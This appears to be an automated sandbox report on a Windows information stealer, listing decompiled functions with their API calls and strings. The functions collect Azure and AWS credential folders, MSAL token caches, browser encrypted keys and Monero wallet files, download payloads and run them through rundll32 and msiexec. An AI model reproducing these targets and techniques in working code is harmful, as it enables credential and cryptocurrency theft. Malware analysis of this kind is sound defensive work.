Opcode ID: 5e5ba61d40d35f83e3d75ee7a7013c4278daef9e1e2ba9f28dea17d6786428f2
Instruction ID: bb8a93c2477e6991b54d87b897251c5ffbed99ca625da533b34ebe1628517e78
Opcode Fuzzy Hash: 5e5ba61d40d35f83e3d75ee7a7013c4278daef9e1e2ba9f28dea17d6786428f2
Instruction Fuzzy Hash: 7F811CB191011C9BDB28DB94DC95FEAB7B8FF18704F008299E10AE6140DF74AB86CF95

Function 008C4D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 008C8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 008C8E0B

lstrcat.KERNEL32(?,00000000), ref: 008C4DB0
lstrcat.KERNEL32(?,\.azure\), ref: 008C4DCD

Part of subcall function 008C4910: wsprintfA.USER32 ref: 008C492C
Part of subcall function 008C4910: FindFirstFileA.KERNEL32(?,?), ref: 008C4943

lstrcat.KERNEL32(?,00000000), ref: 008C4E3C
lstrcat.KERNEL32(?,\.aws\), ref: 008C4E59

Part of subcall function 008C4910: StrCmpCA.SHLWAPI(?,008D0FDC), ref: 008C4971
Part of subcall function 008C4910: StrCmpCA.SHLWAPI(?,008D0FE0), ref: 008C4987
Part of subcall function 008C4910: FindNextFileA.KERNEL32(000000FF,?), ref: 008C4B7D
Part of subcall function 008C4910: FindClose.KERNEL32(000000FF), ref: 008C4B92

lstrcat.KERNEL32(?,00000000), ref: 008C4EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 008C4EE5

Part of subcall function 008C4910: wsprintfA.USER32 ref: 008C49B0
Part of subcall function 008C4910: StrCmpCA.SHLWAPI(?,008D08D2), ref: 008C49C5
Part of subcall function 008C4910: wsprintfA.USER32 ref: 008C49E2
Part of subcall function 008C4910: PathMatchSpecA.SHLWAPI(?,?), ref: 008C4A1E
Part of subcall function 008C4910: lstrcat.KERNEL32(?,007BE130), ref: 008C4A4A
Part of subcall function 008C4910: lstrcat.KERNEL32(?,008D0FF8), ref: 008C4A5C
Part of subcall function 008C4910: lstrcat.KERNEL32(?,?), ref: 008C4A70
Part of subcall function 008C4910: lstrcat.KERNEL32(?,008D0FFC), ref: 008C4A82
Part of subcall function 008C4910: lstrcat.KERNEL32(?,?), ref: 008C4A96
Part of subcall function 008C4910: CopyFileA.KERNEL32(?,?,00000001), ref: 008C4AAC
Part of subcall function 008C4910: DeleteFileA.KERNEL32(?), ref: 008C4B31

Strings

\.IdentityService\, xrefs: 008C4ED9
\.azure\, xrefs: 008C4DC1
*.*, xrefs: 008C4DD8
\.aws\, xrefs: 008C4E4D
Azure\.aws, xrefs: 008C4E5F
*.*, xrefs: 008C4E64
Azure\.azure, xrefs: 008C4DD3
msal.cache, xrefs: 008C4EF0
Azure\.IdentityService, xrefs: 008C4EEB

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 5f427ca85ce5f2227618ba26d4b5fcdfe2ff6ca6eb366addb162c81001691ab3
Instruction ID: 7040271a2d23092304bf9cd5a44cee26f77c72a47c5db27269c5d5be02fcec35
Opcode Fuzzy Hash: 5f427ca85ce5f2227618ba26d4b5fcdfe2ff6ca6eb366addb162c81001691ab3
Instruction Fuzzy Hash: 1D4183B994021867CB14F7A0EC97FE93738FB24744F404558B149D62C1EEB49BC98B93

Function 008C9010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 008C906C

Strings

image/jpeg, xrefs: 008C9136

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: 67184aa814f6f0de5b7b5af360b9884bad425f2b70d6b5706a4ea6ce54cf9d73
Instruction ID: 1069c4ad24a1ecd0f6e915dbe842a80a8845386310926cd5a17089db7d8f27d5
Opcode Fuzzy Hash: 67184aa814f6f0de5b7b5af360b9884bad425f2b70d6b5706a4ea6ce54cf9d73
Instruction Fuzzy Hash: 0C71CBB1910208ABDB14EBE4DC99FEEB7B8FB58700F108518F559EB290DB74E905CB61

Function 008C2E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 008CA740: lstrcpy.KERNEL32(008D0E17,00000000), ref: 008CA788

ShellExecuteEx.SHELL32(0000003C), ref: 008C31C5
ShellExecuteEx.SHELL32(0000003C), ref: 008C335D
ShellExecuteEx.SHELL32(0000003C), ref: 008C34EA

Strings

"" , xrefs: 008C309A
C:\Windows\system32\msiexec.exe, xrefs: 008C34BF
<, xrefs: 008C3490
.dll, xrefs: 008C31E5
.msi, xrefs: 008C3398
/i ", xrefs: 008C33E4
/passive, xrefs: 008C345B
C:\Windows\system32\rundll32.exe, xrefs: 008C3332

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 0c1626017cdc957ca68148d003ad2c931e2ac34a0eef722ef695848595411d05
Instruction ID: 892d2360721ee4efb8d1ff6b7aa226d29172b804b7dfc6590671a4d3ad9b9923
Opcode Fuzzy Hash: 0c1626017cdc957ca68148d003ad2c931e2ac34a0eef722ef695848595411d05
Instruction Fuzzy Hash: AE12D97181010C9BDB19EBA4DC92FEDB738FF14304F50816DE506A6191EF34AA4ACFA6

Function 008C52C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 008CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 008CA7E6

Part of subcall function 008B6280: InternetOpenA.WININET(008D0DFE,00000001,00000000,00000000,00000000), ref: 008B62E1
Part of subcall function 008B6280: StrCmpCA.SHLWAPI(?,007BE270), ref: 008B6303
Part of subcall function 008B6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 008B6335
Part of subcall function 008B6280: HttpOpenRequestA.WININET(00000000,GET,?,007BD9C8,00000000,00000000,00400100,00000000), ref: 008B6385
Part of subcall function 008B6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 008B63BF
Part of subcall function 008B6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 008B63D1

Part of subcall function 008CA8A0: lstrcpy.KERNEL32(?,008D0E17), ref: 008CA905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 008C5318
lstrlen.KERNEL32(00000000), ref: 008C532F

Part of subcall function 008C8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 008C8E52

StrStrA.SHLWAPI(00000000,00000000), ref: 008C5364
lstrlen.KERNEL32(00000000), ref: 008C5383
lstrlen.KERNEL32(00000000), ref: 008C53AE

Part of subcall function 008CA740: lstrcpy.KERNEL32(008D0E17,00000000), ref: 008CA788

Strings

ERROR, xrefs: 008C54A9
ERROR, xrefs: 008C5432
ERROR, xrefs: 008C530A
ERROR, xrefs: 008C546F
ERROR, xrefs: 008C53B9

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: 775a92333bc021c9bdb0668d7974b0970a28289713d02b26858cbb2113e84ba5
Instruction ID: 984abf2343edc297196065db26a2e6ad7557e470b408f59727a6c86c55d66453
Opcode Fuzzy Hash: 775a92333bc021c9bdb0668d7974b0970a28289713d02b26858cbb2113e84ba5
Instruction Fuzzy Hash: 1251977091014C9BDB18FFA8D996FED7779FF50304F504128E40ADA592EF34AA46CAA3

Function 008B60A0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 008CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 008CA7E6

Part of subcall function 008B47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 008B4839
Part of subcall function 008B47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 008B4849

InternetOpenA.WININET(008D0DF7,00000001,00000000,00000000,00000000), ref: 008B610F
StrCmpCA.SHLWAPI(?,007BE270), ref: 008B6147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 008B618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 008B61B3
InternetReadFile.WININET(?,?,00000400,?), ref: 008B61DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 008B620A
CloseHandle.KERNEL32(?,?,00000400), ref: 008B6249
InternetCloseHandle.WININET(?), ref: 008B6253
InternetCloseHandle.WININET(00000000), ref: 008B6260

Strings

p{, xrefs: 008B6139

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID: p{
API String ID: 2507841554-3914500048
Opcode ID: 9c123ef3fbf5124b326b86a23bdce6ced3bb806173beba89185e684539159f7a
Instruction ID: 8847aac79801926378299db0cb00c15719e99f352e339cb65e67187ec2d23aca
Opcode Fuzzy Hash: 9c123ef3fbf5124b326b86a23bdce6ced3bb806173beba89185e684539159f7a
Instruction Fuzzy Hash: 685131B1940218ABDB24DF94DC45FEE77B8FB44705F108098A609E72C1EB74AA85CF96

Function 008C12D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: d03c0dcb82437d35d88597ceaa8b89c87d28979cc8724289ea46b536c529319c
Instruction ID: 5c95493a012cef7895eb9752c61ad947ea0c447a581a93fc0b8554cf07d70301
Opcode Fuzzy Hash: d03c0dcb82437d35d88597ceaa8b89c87d28979cc8724289ea46b536c529319c
Instruction Fuzzy Hash: BBC171B594021D9BCB18EFA4DCC9FEA7778FB64304F00459DE50AA7241DA70EA85CF92

Function 008C4280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 008C8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 008C8E0B

lstrcat.KERNEL32(?,00000000), ref: 008C42EC
lstrcat.KERNEL32(?,007BDF38), ref: 008C430B
lstrcat.KERNEL32(?,?), ref: 008C431F
lstrcat.KERNEL32(?,007BC5B8), ref: 008C4333

Part of subcall function 008CA740: lstrcpy.KERNEL32(008D0E17,00000000), ref: 008CA788

Part of subcall function 008C8D90: GetFileAttributesA.KERNEL32(00000000,?,008B1B54,?,?,008D564C,?,?,008D0E1F), ref: 008C8D9F

Part of subcall function 008B9CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 008B9D39

Part of subcall function 008B99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 008B99EC
Part of subcall function 008B99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 008B9A11
Part of subcall function 008B99C0: LocalAlloc.KERNEL32(00000040,?), ref: 008B9A31
Part of subcall function 008B99C0: ReadFile.KERNEL32(000000FF,?,00000000,008B148F,00000000), ref: 008B9A5A
Part of subcall function 008B99C0: LocalFree.KERNEL32(008B148F), ref: 008B9A90
Part of subcall function 008B99C0: CloseHandle.KERNEL32(000000FF), ref: 008B9A9A

Part of subcall function 008C93C0: GlobalAlloc.KERNEL32(00000000,008C43DD,008C43DD), ref: 008C93D3

StrStrA.SHLWAPI(?,007BDFB0), ref: 008C43F3
GlobalFree.KERNEL32(?), ref: 008C4512

Part of subcall function 008B9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,008B4EEE,00000000,00000000), ref: 008B9AEF
Part of subcall function 008B9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,008B4EEE,00000000,?), ref: 008B9B01
Part of subcall function 008B9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,008B4EEE,00000000,00000000), ref: 008B9B2A
Part of subcall function 008B9AC0: LocalFree.KERNEL32(?,?,?,?,008B4EEE,00000000,?), ref: 008B9B3F

lstrcat.KERNEL32(?,00000000), ref: 008C44A3
StrCmpCA.SHLWAPI(?,008D08D1), ref: 008C44C0
lstrcat.KERNEL32(00000000,00000000), ref: 008C44D2
lstrcat.KERNEL32(00000000,?), ref: 008C44E5
lstrcat.KERNEL32(00000000,008D0FB8), ref: 008C44F4

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: aed9db69cb5ceb8f1fc61a573e4dac07dff30461cbe60bd6d2bcf8c29a976216
Instruction ID: 39bd352c1e116c779b46d24d58a57b939d750519ea14ed893b14d10c51e25828
Opcode Fuzzy Hash: aed9db69cb5ceb8f1fc61a573e4dac07dff30461cbe60bd6d2bcf8c29a976216
Instruction Fuzzy Hash: EE7123B6900208ABCB14EBE4DC99FEE7779FB58300F004598E609D7181DA75DB49CBA2

Function 008B1310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 008B12A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 008B12B4
Part of subcall function 008B12A0: RtlAllocateHeap.NTDLL(00000000), ref: 008B12BB
Part of subcall function 008B12A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 008B12D7
Part of subcall function 008B12A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 008B12F5
Part of subcall function 008B12A0: RegCloseKey.ADVAPI32(?), ref: 008B12FF

lstrcat.KERNEL32(?,00000000), ref: 008B134F
lstrlen.KERNEL32(?), ref: 008B135C
lstrcat.KERNEL32(?,.keys), ref: 008B1377

Part of subcall function 008CA740: lstrcpy.KERNEL32(008D0E17,00000000), ref: 008CA788

Part of subcall function 008CA9B0: lstrlen.KERNEL32(?,007B88C8,?,\Monero\wallet.keys,008D0E17), ref: 008CA9C5
Part of subcall function 008CA9B0: lstrcpy.KERNEL32(00000000), ref: 008CAA04
Part of subcall function 008CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 008CAA12

Part of subcall function 008CA8A0: lstrcpy.KERNEL32(?,008D0E17), ref: 008CA905

Part of subcall function 008C8B60: GetSystemTime.KERNEL32(008D0E1A,007BCF28,008D05AE,?,?,008B13F9,?,0000001A,008D0E1A,00000000,?,007B88C8,?,\Monero\wallet.keys,008D0E17), ref: 008C8B86

Part of subcall function 008CA920: lstrcpy.KERNEL32(00000000,?), ref: 008CA972
Part of subcall function 008CA920: lstrcat.KERNEL32(00000000), ref: 008CA982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 008B1465

Part of subcall function 008CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 008CA7E6

Part of subcall function 008B99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 008B99EC
Part of subcall function 008B99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 008B9A11
Part of subcall function 008B99C0: LocalAlloc.KERNEL32(00000040,?), ref: 008B9A31
Part of subcall function 008B99C0: ReadFile.KERNEL32(000000FF,?,00000000,008B148F,00000000), ref: 008B9A5A
Part of subcall function 008B99C0: LocalFree.KERNEL32(008B148F), ref: 008B9A90
Part of subcall function 008B99C0: CloseHandle.KERNEL32(000000FF), ref: 008B9A9A

DeleteFileA.KERNEL32(00000000), ref: 008B14EF

Strings

.keys, xrefs: 008B136B
\Monero\wallet.keys, xrefs: 008B138D
SOFTWARE\monero-project\monero-core, xrefs: 008B1335
wallet_path, xrefs: 008B1330

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: 42326dc2b0b28400169b6cfb0e85ab546093b9df450a38d799bf063f7799e2fb
